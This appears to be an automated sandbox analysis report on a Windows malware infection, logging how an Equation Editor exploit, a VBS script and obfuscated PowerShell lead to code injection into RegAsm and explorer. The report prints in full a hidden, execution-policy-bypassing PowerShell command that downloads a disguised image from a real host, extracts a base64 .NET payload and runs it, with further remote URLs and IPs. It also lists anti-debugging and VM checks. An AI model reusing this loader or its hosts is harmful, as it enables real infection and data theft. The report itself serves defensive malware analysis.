Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior

Source: explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 0000000C.00000002.630243639.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000000C.00000002.630243639.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 0000000C.00000002.630243639.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 0000000C.00000002.629766627.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 0000000C.00000002.630243639.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: CodeIntegrityInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 22_2_00081E4C CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

22_2_00081E4C

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 22_2_000816C7 GetCurrentProcessId,GetCurrentThreadId,CreateToolhelp32Snapshot,Thread32First,OpenThread,SuspendThread,ResumeThread,CloseHandle,Thread32Next,CloseHandle,

22_2_000816C7

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_00129247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

19_2_00129247

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_000C1000 GetProcessHeap,RtlAllocateHeap,

19_2_000C1000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\gwseuha

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: gwseuha.12.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 185.251.91.119 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: prolinice.ga

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3628, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E

Creates a thread in another existing process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread created: C:\Windows\explorer.exe EIP: 2801960

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 4056 base: 9F102D value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4080 base: FF31B794 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2480 base: 9F102D value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 1872 base: 9F102D value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2772 base: FF31B794 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2840 base: 9F102D value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2836 base: FF31B794 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2704 base: 9F102D value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2460 base: FF31B794 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F102D	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F102D	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F102D	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F102D	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F102D	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, explorer.exe		26_2_00081016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, explorer.exe		26_2_000810A5

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\gwseuha C:\Users\user\AppData\Roaming\gwseuha	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jwbo? ? ? ? ?hq? ? ? ? ?d? ? ? ? ?bw? ? ? ? ?hm? ? ? ? ?og? ? ? ? ?v? ? ? ? ?c8? ? ? ? ?aqbh? ? ? ? ?dg? ? ? ? ?m? ? ? ? ?? ? ? ? ?z? ? ? ? ?de? ? ? ? ?m? ? ? ? ?? ? ? ? ?0? ? ? ? ?c4? ? ? ? ?dqbz? ? ? ? ?c4? ? ? ? ?yqby? ? ? ? ?gm? ? ? ? ?a? ? ? ? ?bp? ? ? ? ?hy? ? ? ? ?zq? ? ? ? ?u? ? ? ? ?g8? ? ? ? ?cgbn? ? ? ? ?c8? ? ? ? ?mg? ? ? ? ?3? ? ? ? ?c8? ? ? ? ?aqb0? ? ? ? ?gu? ? ? ? ?bqbz? ? ? ? ?c8? ? ? ? ?dgbi? ? ? ? ?hm? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?y? ? ? ? ?dy? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?y? ? ? ? ?dy? ? ? ? ?lwb2? ? ? ? ?gi? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?go? ? ? ? ?c? ? ? ? ?bn? ? ? ? ?cc? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?hc? ? ? ? ?zqbi? ? ? ? ?em? ? ? ? ?b? ? ? ? ?bp? ? ? ? ?gu? ? ? ? ?bgb0? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?e4? ? ? ? ?zqb3? ? ? ? ?c0? ? ? ? ?twbi? ? ? ? ?go? ? ? ? ?zqbj? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?bt? ? ? ? ?hk? ? ? ? ?cwb0? ? ? ? ?gu? ? ? ? ?bq? ? ? ? ?u? ? ? ? ?e4? ? ? ? ?zqb0? ? ? ? ?c4? ? ? ? ?vwbl? ? ? ? ?gi? ? ? ? ?qwbs? ? ? ? ?gk? ? ? ? ?zqbu? ? ? ? ?hq? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbc? ? ? ? ?hk? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?hm? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?j? ? ? ? ?b3? ? ? ? ?gu? ? ? ? ?ygbd? ? ? ? ?gw? ? ? ? ?aqbl? ? ? ? ?g4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?eq? ? ? ? ?bwb3? ? ? ? ?g4? ? ? ? ?b? ? ? ? ?bv? ? ? ? ?ge? ? ? ? ?z? ? ? ? ?be? ? ? ? ?ge? ? ? ? ?d? ? ? ? ?bh? ? ? ? ?cg? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?kq? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?aqbt? ? ? ? ?ge? ? ? ? ?zwbl? ? ? ? ?fq? ? ? ? ?zqb4? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?wwbt? ? ? ? ?hk? ? ? ? ?cwb0? ? ? ? ?gu? ? ? ? ?bq? ? ? ? ?u? ? ? ? ?fq? ? ? ? ?zqb4? ? ? ? ?hq? ? ? ? ?lgbf? ? ? ? ?g4? ? ? ? ?ywbv? ? ? ? ?gq? ? ? ? ?aqbu? ? ? ? ?gc? ? ? ? ?xq? ? ? ? ?6? ? ? ? ?do? ? ? ? ?vqbu? ? ? ? ?ey? ? ? ? ?o? ? ? ? ?? ? ? ? ?u? ? ? ? ?ec? ? ? ? ?zqb0? ? ? ? ?fm? ? ? ? ?d? ? ? ? ?by? ? ? ? ?gk? ? ? ? ?bgbn? ? ? ? ?cg? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?qgb5? ? ? ? ?hq? ? ? ? ?zqbz? ? ? ? ?ck? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?hm? ? ? ? ?d? ? ? ? ?bh? ? ? ? ?hi? ? ? ? ?d? ? ? ? ?bg? ? ? ? ?gw? ? ? ? ?yqbn? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?cc? ? ? ? ?p? ? ? ? ?? ? ? ? ?8? ? ? ? ?ei? ? ? ? ?qqbt? ? ? ? ?eu? ? ? ? ?ng? ? ? ? ?0? ? ? ? ?f8? ? ? ? ?uwbu? ? ? ? ?ee? ? ? ? ?ugbu? ? ? ? ?d4? ? ? ? ?pg? ? ? ? ?n? ? ? ? ?ds? ? ? ? ?j? ? ? ? ?bl? ? ? ? ?g4? ? ? ? ?z? ? ? ? ?bg? ? ? ? ?gw? ? ? ? ?yqbn? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?cc? ? ? ? ?p? ? ? ? ?? ? ? ? ?8? ? ? ? ?e
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += 